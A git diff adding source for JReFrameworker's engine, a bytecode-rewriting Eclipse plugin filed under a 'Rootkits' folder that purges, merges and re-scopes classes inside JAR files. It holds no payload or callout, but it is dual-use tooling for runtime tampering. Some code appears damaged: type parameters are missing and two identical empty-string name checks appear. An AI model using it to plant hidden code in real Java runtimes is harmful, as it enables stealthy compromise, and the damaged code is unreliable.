--git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/META-INF/MANIFEST.MF b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/META-INF/MANIFEST.MF new file mode 100644 index 0000000..98a6b72 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/META-INF/MANIFEST.MF @@ -0,0 +1,23 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: JReFrameworker Engine +Bundle-SymbolicName: com.jreframeworker.engine;singleton:=true +Bundle-Version: 1.3.1.qualifier +Bundle-Activator: com.jreframeworker.engine.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.ui.ide, + org.eclipse.core.runtime, + org.eclipse.core.resources, + org.eclipse.jdt.core, + org.eclipse.jdt.launching, + org.eclipse.jdt.debug.ui, + org.eclipse.debug.core, + org.eclipse.debug.ui, + org.eclipse.core.filesystem, + support.org.objectweb.asm;bundle-version="5.2.0";visibility:=reexport +Bundle-RequiredExecutionEnvironment: JavaSE-1.8 +Bundle-ActivationPolicy: lazy +Export-Package: com.jreframeworker.engine, + com.jreframeworker.engine.identifiers, + com.jreframeworker.engine.utils +Automatic-Module-Name: com.jreframeworker.engine diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/build.properties new file mode 100644 index 0000000..34d2e4d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/build.properties @@ -0,0 +1,4 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/Activator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/Activator.java new file mode 100644 index 0000000..890ec41 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/Activator.java @@ -0,0 +1,50 @@ +package com.jreframeworker.engine; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "com.jreframeworker.engine"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/Engine.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/Engine.java new file mode 100644 index 0000000..8a46c5b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/Engine.java @@ -0,0 +1,842 @@ +package com.jreframeworker.engine; + +import java.io.File; +import java.io.IOException; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Map.Entry; +import java.util.Set; +import java.util.jar.JarException; + +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassWriter; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.FieldNode; +import org.objectweb.asm.tree.InnerClassNode; +import org.objectweb.asm.tree.MethodNode; + +import com.jreframeworker.engine.identifiers.BaseMethodsIdentifier; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineFieldFinalityAnnotation; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineMethodFinalityAnnotation; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineTypeFinalityAnnotation; +import com.jreframeworker.engine.identifiers.DefineIdentifier; +import com.jreframeworker.engine.identifiers.DefineIdentifier.DefineMethodAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineFieldVisibilityAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineMethodVisibilityAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineTypeVisibilityAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.Visibility; +import com.jreframeworker.engine.identifiers.JREFAnnotationIdentifier; +import com.jreframeworker.engine.identifiers.MergeIdentifier; +import com.jreframeworker.engine.identifiers.MergeIdentifier.MergeMethodAnnotation; +import com.jreframeworker.engine.identifiers.MergeIdentifier.MergeTypeAnnotation; +import com.jreframeworker.engine.identifiers.PurgeIdentifier; +import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeFieldAnnotation; +import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeMethodAnnotation; +import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeTypeAnnotation; +import com.jreframeworker.engine.log.Log; +import com.jreframeworker.engine.utils.AnnotationUtils; +import com.jreframeworker.engine.utils.BytecodeUtils; +import com.jreframeworker.engine.utils.ClassLoaders; +import com.jreframeworker.engine.utils.ClassLoadingClassWriter; +import com.jreframeworker.engine.utils.JarModifier; + +public class Engine { + + private String jarName; + private Set originalEntries; + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((jarName == null) ? 0 : jarName.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + Engine other = (Engine) obj; + if (jarName == null) { + if (other.jarName != null) + return false; + } else if (!jarName.equals(other.jarName)) + return false; + return true; + } + + private String mergeRenamePrefix; + private JarModifier jarModifier; + private ClassLoader[] classLoaders = new ClassLoader[]{ getClass().getClassLoader() }; + + private static class Bytecode { + private byte[] bytecode; + + public Bytecode(byte[] bytecode){ + this.bytecode = bytecode; + } + + public byte[] getBytecode(){ + return bytecode; + } + } + + private HashMap bytecodeCache = new HashMap(); + private Set purgedEntries = new HashSet(); + + public String getJarName(){ + return jarName; + } + + public File getOriginalJar(){ + return jarModifier.getJarFile(); + } + + public Set getOriginalEntries(){ + return new HashSet(originalEntries); + } + + public Set getModificationEntries(){ + return new HashSet(bytecodeCache.keySet()); + } + + public Engine(File jar, String mergeRenamePrefix) throws JarException, IOException { + this.mergeRenamePrefix = mergeRenamePrefix; + this.jarModifier = new JarModifier(jar); + this.jarName = jar.getName(); + this.originalEntries = new HashSet(jarModifier.getJarEntrySet()); + } + + public Engine(File jar, String mergeRenamePrefix, ClassLoader[] classLoaders) throws JarException, IOException { + this(jar, mergeRenamePrefix); + this.classLoaders = classLoaders; + } + + public void setClassLoaders(ClassLoader... classLoaders){ + this.classLoaders = classLoaders; + } + + private ClassNode getBytecode(String entry) throws IOException { + return BytecodeUtils.getClassNode(getRawBytecode(entry)); + } + + private byte[] getRawBytecode(String entry) throws IOException { + if(bytecodeCache.containsKey(entry)){ + return bytecodeCache.get(entry).getBytecode(); + } else { + String qualifiedClassFilename = entry + ".class"; + byte[] bytecode = jarModifier.extractEntry(qualifiedClassFilename); + bytecodeCache.put(entry, new Bytecode(bytecode)); + return bytecode; + } + } + + private void purgeBytecode(String entry){ + bytecodeCache.remove(entry); + purgedEntries.add(entry); + } + + private void updateBytecode(String entry, ClassNode classNode) throws IOException { + updateBytecode(entry, BytecodeUtils.writeClass(classNode)); + } + + private void updateBytecode(String entry, byte[] bytecode) throws IOException { + bytecodeCache.put(entry, new Bytecode(bytecode)); + } + +// public void addUnprocessed(byte[] inputClass) throws IOException { +// ClassNode classNode = BytecodeUtils.getClassNode(inputClass); +// updateBytecode(classNode.name, inputClass); +// } + + public void addFile(String entry, byte[] contents, boolean overwrite) throws IOException { + jarModifier.add(entry, contents, overwrite); + } + + public void addUnprocessed(byte[] inputClass, boolean overwrite) throws IOException { + ClassNode classNode = BytecodeUtils.getClassNode(inputClass); + String qualifiedClassName = classNode.name + ".class"; + jarModifier.add(qualifiedClassName, inputClass, overwrite); + } + + /** + * Process the annotations of the class for the given phase + * @param inputClass + * @param namedPhase + * @return + * @throws IOException + */ + public boolean process(ClassNode inputClassNode, int phase) throws IOException { + byte[] inputClass = BytecodeUtils.writeClass(inputClassNode); + return process(inputClass, phase); + } + + /** + * Process the annotations of the class for the given phase + * @param inputClass + * @param namedPhase + * @return + * @throws IOException + */ + public boolean process(byte[] inputClass, int phase) throws IOException { + // set the ASM class loaders to be used to process this input + ClassLoaders.setClassLoaders(classLoaders); + + boolean processed = false; + ClassNode classNode = BytecodeUtils.getClassNode(inputClass); + + if(phase == -1){ + Log.info("Processing input class: " + classNode.name + "..."); + } else { + Log.info("Processing phase " + phase + " of input class: " + classNode.name + "..."); + } + + // make requested method and field purges + PurgeIdentifier purgeIdentifier = new PurgeIdentifier(classNode); + processed |= purge(purgeIdentifier, phase); + + // set finality + DefineFinalityIdentifier defineFinalityIdentifier = new DefineFinalityIdentifier(classNode); + processed |= setFinality(defineFinalityIdentifier, phase); + + // set visibility modifiers + DefineVisibilityIdentifier defineVisibilityIdentifier = new DefineVisibilityIdentifier(classNode); + processed |= setVisibility(defineVisibilityIdentifier, phase); + + // TODO: address innerclasses, classNode.innerClasses, could these even be found from class files? they would be different files... + if(classNode.invisibleAnnotations != null){ + for(Object annotationObject : classNode.invisibleAnnotations){ + AnnotationNode annotationNode = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotationNode.desc, false); + String qualifiedClassName = classNode.name; + if(checker.isDefineTypeAnnotation()){ + DefineIdentifier defineIdentifier = new DefineIdentifier(classNode); + if(phase == -1 || defineIdentifier.getDefineTypeAnnotation().getPhase() == phase){ + String qualifiedClassFilename = qualifiedClassName + ".class"; + if(jarModifier.getJarEntrySet().contains(qualifiedClassFilename)){ + updateBytecode(classNode.name, inputClass); + Log.info("Replaced: " + qualifiedClassName + " in " + jarModifier.getJarFile().getName()); + } else { + updateBytecode(classNode.name, inputClass); + Log.info("Inserted: " + qualifiedClassName + " into " + jarModifier.getJarFile().getName()); + } + processed = true; + } + } else if(checker.isMergeTypeAnnotation()){ + MergeIdentifier mergeIdentifier = new MergeIdentifier(classNode); + MergeTypeAnnotation mergeTypeAnnotation = mergeIdentifier.getMergeTypeAnnotation(); + if(phase == -1 || mergeTypeAnnotation.getPhase() == phase){ + String qualifiedParentClassName = mergeTypeAnnotation.getSupertype(); + byte[] baseClass = getRawBytecode(qualifiedParentClassName); + byte[] mergedClass = mergeClasses(baseClass, inputClass); + updateBytecode(qualifiedParentClassName, mergedClass); + Log.info("Merged: " + qualifiedClassName + " into " + qualifiedParentClassName + " in " + jarModifier.getJarFile().getName()); + processed = true; + } + } + } + } + + return processed; + } + + /** + * Process all annotations regardless of phase + * @param inputClass + * @return + * @throws IOException + */ + public boolean process(byte[] inputClass) throws IOException { + return process(inputClass, -1); + } + + private boolean purge(PurgeIdentifier purgeIdentifier, int phase) throws IOException { + boolean processed = false; + // purge types + for(PurgeTypeAnnotation purgeTypeAnnotation : purgeIdentifier.getPurgeTypeAnnotations()){ + if(phase == -1 || purgeTypeAnnotation.getPhase() == phase){ + String className = purgeTypeAnnotation.getClassName(); + if(className.contains("$")){ + // deal with outer class references to inner class files first + String baseClassName = className.substring(0, className.lastIndexOf("$")); + ClassNode baseClassNode = getBytecode(baseClassName); + List innerClassNodesToRemove = new LinkedList(); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ + innerClassNodesToRemove.add(innerClassNode); + } + } + for(InnerClassNode innerClassNodeToRemove : innerClassNodesToRemove){ + baseClassNode.innerClasses.remove(innerClassNodeToRemove); + Log.info("Purged " + baseClassName + " reference to " + innerClassNodeToRemove.name + " inner class."); + } + updateBytecode(baseClassName, BytecodeUtils.writeClass(baseClassNode)); + + // deal with the inner class file directly + String innerClassName = className; + purgeBytecode(innerClassName); + Log.info("Purged " + innerClassName + " inner class."); + processed = true; + } else { + // simple case no inner classes + ClassNode baseClassNode = getBytecode(className); + if(baseClassNode != null){ + Log.info("Purged " + baseClassNode.name + " class."); + purgeBytecode(className); + processed = true; + } else { + Log.warning("Could not locate base class.", new RuntimeException("Missing base class")); + } + } + } + } + // purge methods + for(PurgeMethodAnnotation purgeMethodAnnotation : purgeIdentifier.getPurgeMethodAnnotations()){ + if(phase == -1 || purgeMethodAnnotation.getPhase() == phase){ + // final is not a valid modifier for initializers so no need to consider that case + String className = purgeMethodAnnotation.getClassName(); + ClassNode classNode = getBytecode(className); + for (Object o : classNode.methods) { + MethodNode methodNode = (MethodNode) o; + if(methodNode.name.equals(purgeMethodAnnotation.getMethodName())){ + ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + PurgeAdapter purgeAdapter = new PurgeAdapter(classWriter, methodNode); + ClassReader purgedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(classNode)); + purgedBaseClassReader.accept(purgeAdapter, ClassReader.EXPAND_FRAMES); + byte[] purgedClassBytes = classWriter.toByteArray(); + classNode = BytecodeUtils.getClassNode(purgedClassBytes); + updateBytecode(classNode.name, purgedClassBytes); + processed = true; + + updateBytecode(className, classNode); + processed = true; + + Log.info("Purged " + classNode.name + "." + methodNode.name + " method."); + processed = true; + } + } + } + } + // purge fields + for(PurgeFieldAnnotation purgeFieldAnnotation : purgeIdentifier.getPurgeFieldAnnotations()){ + if(phase == -1 || purgeFieldAnnotation.getPhase() == phase){ + String className = purgeFieldAnnotation.getClassName(); + ClassNode classNode = getBytecode(className); + for (Object o : classNode.fields) { + FieldNode fieldNode = (FieldNode) o; + if(fieldNode.name.equals(purgeFieldAnnotation.getFieldName())){ + ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + PurgeAdapter purgeAdapter = new PurgeAdapter(classWriter, fieldNode); + ClassReader purgedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(classNode)); + purgedBaseClassReader.accept(purgeAdapter, ClassReader.EXPAND_FRAMES); + byte[] purgedClassBytes = classWriter.toByteArray(); + classNode = BytecodeUtils.getClassNode(purgedClassBytes); + updateBytecode(classNode.name, purgedClassBytes); + processed = true; + + updateBytecode(className, classNode); + processed = true; + + Log.info("Purged " + classNode.name + "." + fieldNode.name + " field."); + break; // should only be one match + } + } + } + } + return processed; + } + + @SuppressWarnings("unused") + private static String getAccessModifiers(int access){ + LinkedList modifiers = new LinkedList(); + if((Opcodes.ACC_ABSTRACT & access) == Opcodes.ACC_ABSTRACT){ + modifiers.add("abstract"); + } + if((Opcodes.ACC_ANNOTATION & access) == Opcodes.ACC_ANNOTATION){ + modifiers.add("annotation"); + } + if((Opcodes.ACC_BRIDGE & access) == Opcodes.ACC_BRIDGE){ + modifiers.add("bridge"); + } + if((Opcodes.ACC_DEPRECATED & access) == Opcodes.ACC_DEPRECATED){ + modifiers.add("deprecated"); + } + if((Opcodes.ACC_ENUM & access) == Opcodes.ACC_ENUM){ + modifiers.add("enum"); + } + if((Opcodes.ACC_FINAL & access) == Opcodes.ACC_FINAL){ + modifiers.add("final"); + } + if((Opcodes.ACC_INTERFACE & access) == Opcodes.ACC_INTERFACE){ + modifiers.add("interface"); + } + if((Opcodes.ACC_MANDATED & access) == Opcodes.ACC_MANDATED){ + modifiers.add("mandated"); + } + if((Opcodes.ACC_NATIVE & access) == Opcodes.ACC_NATIVE){ + modifiers.add("native"); + } + if((Opcodes.ACC_PRIVATE & access) == Opcodes.ACC_PRIVATE){ + modifiers.add("private"); + } + if((Opcodes.ACC_PROTECTED & access) == Opcodes.ACC_PROTECTED){ + modifiers.add("protected"); + } + if((Opcodes.ACC_PUBLIC & access) == Opcodes.ACC_PUBLIC){ + modifiers.add("public"); + } + if((Opcodes.ACC_STATIC & access) == Opcodes.ACC_STATIC){ + modifiers.add("static"); + } + if((Opcodes.ACC_STRICT & access) == Opcodes.ACC_STRICT){ + modifiers.add("strict"); + } + if((Opcodes.ACC_SUPER & access) == Opcodes.ACC_SUPER){ + modifiers.add("super"); + } + if((Opcodes.ACC_SYNCHRONIZED & access) == Opcodes.ACC_SYNCHRONIZED){ + modifiers.add("synchronized"); + } + if((Opcodes.ACC_SYNTHETIC & access) == Opcodes.ACC_SYNTHETIC){ + modifiers.add("synthetic"); + } + if((Opcodes.ACC_TRANSIENT & access) == Opcodes.ACC_TRANSIENT){ + modifiers.add("transient"); + } + if((Opcodes.ACC_VARARGS & access) == Opcodes.ACC_VARARGS){ + modifiers.add("varargs"); + } + if((Opcodes.ACC_VOLATILE & access) == Opcodes.ACC_VOLATILE){ + modifiers.add("volatile"); + } + return modifiers.toString(); + } + + /** + * Sets the access (visibility) modifiers for types, methods, and fields as defined by the annotation system + * @param defineVisibilityIdentifier + * @param phase + * @param runtimeModifications + * @throws IOException + */ + private boolean setVisibility(DefineVisibilityIdentifier defineVisibilityIdentifier, int phase) throws IOException { + boolean processed = false; + // update types + for(DefineTypeVisibilityAnnotation defineTypeVisibilityAnnotation : defineVisibilityIdentifier.getTargetTypes()){ + if(phase == -1 || defineTypeVisibilityAnnotation.getPhase() == phase){ + String className = defineTypeVisibilityAnnotation.getClassName(); + if(className.contains("$")){ + // deal with outer class references to inner class files first + String baseClassName = className.substring(0, className.lastIndexOf("$")); + ClassNode baseClassNode = getBytecode(baseClassName); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set outer class attributes for " + innerClassNode.name + " class to be public."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set outer class attributes for " + innerClassNode.name + " class to be protected."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set outer class attributes for " + innerClassNode.name + " class to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + } + } + updateBytecode(baseClassName, baseClassNode); + + // deal with the inner class file directly + String innerClassName = className; + baseClassNode = getBytecode(innerClassName); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + innerClassNode.name + " inner class to be public."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + innerClassNode.name + " inner class to be protected."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + innerClassNode.name + " inner class to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + } + } + updateBytecode(innerClassName, baseClassNode); + } else { + // simple case no inner classes + ClassNode baseClassNode = getBytecode(className); +// Log.info("Pre Access Modifiers: " + getAccessModifiers(baseClassNode.access)); + baseClassNode.access = baseClassNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + baseClassNode.access = baseClassNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + baseClassNode.name + " class to be public."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + baseClassNode.access = baseClassNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + baseClassNode.name + " class to be protected."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + baseClassNode.access = baseClassNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + baseClassNode.name + " class to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(baseClassNode.access)); + updateBytecode(className, baseClassNode); + } + + processed = true; + } + } + // update methods + for(DefineMethodVisibilityAnnotation defineMethodVisibilityAnnotation : defineVisibilityIdentifier.getTargetMethods()){ + if(phase == -1 || defineMethodVisibilityAnnotation.getPhase() == phase){ + String qualifiedClassName = defineMethodVisibilityAnnotation.getClassName(); + String[] simpleClassNameParts = qualifiedClassName.split("/"); + ClassNode baseClassNode = getBytecode(qualifiedClassName); + String simpleClassName = simpleClassNameParts[simpleClassNameParts.length-1]; + if(simpleClassName.contains("$")){ + simpleClassName = simpleClassName.substring(simpleClassName.indexOf("$")+1,simpleClassName.length()); + } + for (Object o : baseClassNode.methods) { + MethodNode methodNode = (MethodNode) o; + if(defineMethodVisibilityAnnotation.getMethodName().equals(simpleClassName)){ + if(methodNode.name.equals("")){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access)); + methodNode.access = methodNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + methodNode.access = methodNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + methodNode.name + " initializer to be public."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + methodNode.access = methodNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + methodNode.name + " initializer to be protected."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + methodNode.access = methodNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + methodNode.name + " initializer to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access)); + } else if(methodNode.name.equals("")){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access)); + methodNode.access = methodNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + methodNode.access = methodNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + methodNode.name + " static initializer to be public."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + methodNode.access = methodNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + methodNode.name + " static initializer to be protected."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + methodNode.access = methodNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + methodNode.name + " static initializer to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access)); + } + updateBytecode(qualifiedClassName, baseClassNode); + processed = true; + } else if(methodNode.name.equals(defineMethodVisibilityAnnotation.getMethodName())){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access)); + methodNode.access = methodNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + methodNode.access = methodNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + methodNode.name + " method to be public."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + methodNode.access = methodNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + methodNode.name + " method to be protected."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + methodNode.access = methodNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + methodNode.name + " method to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access)); + updateBytecode(qualifiedClassName, baseClassNode); + processed = true; +// break; // should only be one match? + // TODO: is above true? need to do better signature matching I assume? for now just blast em all... + } + } + } + } + // update fields + for(DefineFieldVisibilityAnnotation defineFieldVisibilityAnnotation : defineVisibilityIdentifier.getTargetFields()){ + if(phase == -1 || defineFieldVisibilityAnnotation.getPhase() == phase){ + String className = defineFieldVisibilityAnnotation.getClassName(); + ClassNode baseClassNode = getBytecode(className); + for (Object o : baseClassNode.fields) { + FieldNode fieldNode = (FieldNode) o; + if(fieldNode.name.equals(defineFieldVisibilityAnnotation.getFieldName())){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(fieldNode.access)); + fieldNode.access = fieldNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineFieldVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + fieldNode.access = fieldNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + fieldNode.name + " field to be public."); + } else if(defineFieldVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + fieldNode.access = fieldNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + fieldNode.name + " field to be protected."); + } else if(defineFieldVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + fieldNode.access = fieldNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + fieldNode.name + " field to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(fieldNode.access)); + updateBytecode(className, baseClassNode); + processed = true; + break; // should only be one match + } + } + } + } + return processed; + } + + /** + * Sets the finality bit for for types, methods, and fields as defined by the annotation system + * @param defineFinalityIdentifier + * @param phase + * @param runtimeModifications + * @throws IOException + */ + private boolean setFinality(DefineFinalityIdentifier defineFinalityIdentifier, int phase) throws IOException { + boolean processed = false; + // update types + for(DefineTypeFinalityAnnotation defineTypeFinalityAnnotation : defineFinalityIdentifier.getTargetTypes()){ + if(phase == -1 || defineTypeFinalityAnnotation.getPhase() == phase){ + String className = defineTypeFinalityAnnotation.getClassName(); + if(className.contains("$")){ + // deal with outer class references to inner class files first + String baseClassName = className.substring(0, className.lastIndexOf("$")); + ClassNode baseClassNode = getBytecode(baseClassName); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + if(defineTypeFinalityAnnotation.getFinality()){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + innerClassNode.name + " class to be final."); + } else { + innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + innerClassNode.name + " class to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + } + } + updateBytecode(baseClassName, baseClassNode); + + // deal with the inner class file directly + String innerClassName = className; + baseClassNode = getBytecode(innerClassName); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + if(defineTypeFinalityAnnotation.getFinality()){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + innerClassNode.name + " class to be final."); + } else { + innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + innerClassNode.name + " class to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + } + } + updateBytecode(innerClassName, baseClassNode); + processed = true; + } else { + // simple case no inner classes + ClassNode baseClassNode = getBytecode(className); + if(baseClassNode != null){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(baseClassNode.access)); + if(defineTypeFinalityAnnotation.getFinality()){ + baseClassNode.access = baseClassNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + baseClassNode.name + " class to be final."); + } else { + baseClassNode.access = baseClassNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + baseClassNode.name + " class to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(baseClassNode.access)); + updateBytecode(className, baseClassNode); + processed = true; + } else { + Log.warning("Could not locate base class.", new RuntimeException("Missing base class")); + } + } + } + } + // update methods + for(DefineMethodFinalityAnnotation 